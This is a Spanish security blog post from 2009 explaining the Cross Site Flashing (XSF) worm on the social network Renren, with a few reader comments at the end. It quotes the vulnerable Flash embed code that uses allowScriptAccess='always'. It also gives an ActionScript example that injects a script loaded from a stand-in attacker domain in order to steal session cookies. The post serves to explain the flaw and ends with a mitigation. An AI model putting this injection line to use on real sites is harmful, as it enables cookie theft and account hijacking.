26 agosto 2009

XSF: Ataque web encapsulado en Flash

Supongo que nuestros lectores habrán oido hablar del gusano que afectó a la red social Twitter allá por el mes de abril. De hecho, Laura publicó un artículo sobre la contratación del creador del mismo aquí. El ataque consistía en que gracias a una vulnerabilidad del tipo XSS (Cross-Site Scripting) permitía suplantar la identidad de un montón de usuarios atacados y twittear desde su cuenta.

En este caso, el objetivo de los ataques ha sido la red social china Renren. Para ello se ha utilizado una variante de ataque XSS encapsulado mediante archivos Flash. Como resultado, este ataque se ha llamado XSF o Cross Site Flashing.

¿Cómo se llevó a cabo el ataque?
La red social Renren permite, al igual que otras como Facebook o Tuenti, permite compartir contenido multimedia. Para ello se puede hacer mediante videos o en formato Flash. Para este último, el enlace a un fichero SWF, se hace mediante una función llamada playswf() que crea una porción de código así:

<embed src=”"+o.filename+”” type=”application/x-shockwave-flash”

“+”width=”"+(o.width||”320″)+”” height=”"+(o.height||”240″)+”” allowFullScreen=”true”

wmode=”"+(o.wmode||”transparent”)+”” allowScriptAccess=”always” ></embed>


Atención especial merece el parámetro "allowScriptAccess". Gracias a él se limita el nivel de acceso que el objeto "embebido" tendrá sobre el resto de la página HTML. Si se asigna "allowScriptAccess=sameDomain" el objeto flash, sólo tendrá acceso a la página HTML si se llama desde el mismo dominio, haciendo falta que el atacante subiera el fichero a ejecutar al mismo dominio, utilizando alguna otra técnica.
Sin embargo, en condiciones en las que el parámetro allowScriptAccess tenga el valor "always", el objeto flash tiene acceso a cualquier parte de la sesión HTML, como por ejemplo, las cookies. 1, 2, 3,... responda otra vez: Las Cookies.

A partir de aquí el resto del ataque consiste en crear un objeto flash en el que se pueda incluir en el fichero Flash una porción de código que ejecute un Javascript malicioso que envíe las cookies de los usuarios que vean ese "inocente" flash a una localización remota. A partir de ahí el atacante contará con acceso a la identidad de un montón de usuarios.

Por ejemplo,


var fun = 'var x=document.createElement("SCRIPT");x.src="http://www.delatacante.com/malicioso.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);';

    flash.external.ExternalInterface.call('eval', fun);
  


Asimismo, el usuario final verá el flash sin saber que ha ejecutado código Javascript malicioso robando su cookie.

El ataque a la red social Renren, además consistía en aprovechar las credenciales del individuo para enviar el video a todos sus contactos.

Como podéis ver, XSS encapsulado en un objeto Flash embebido en una página web... gracias a excesivos permisos para ese objeto. Recomendación, si tenéis algún tipo de sitio web que permita compartir este tipo ficheros, forzad el parámetro "allowScriptAccess" a "samedomain".

3 comments :

Zerial dijo...

ActionScript o "flashing" sigue siendo un "script" por lo que podriamos seguir llamandole "Cross-Site Scripting" (XSS), digo para no tener miles de nombres para una misma tecnica... :)

Miguel dijo...

una forma interesante de lanzar un XSS, por cierto que si.

buen artículo!

Lorenzo Martínez dijo...

@Zerial -> La verdad es que razón tienes en que es un XSS, pero al utilizar flash, la OWASSP decidió llamarlo Cross Site Flashing. http://www.owasp.org/index.php/Testing_for_Cross_site_flashing_%28OWASP-DV-004%29

@Miguel -> muchas gracias por tu valoración! Saludos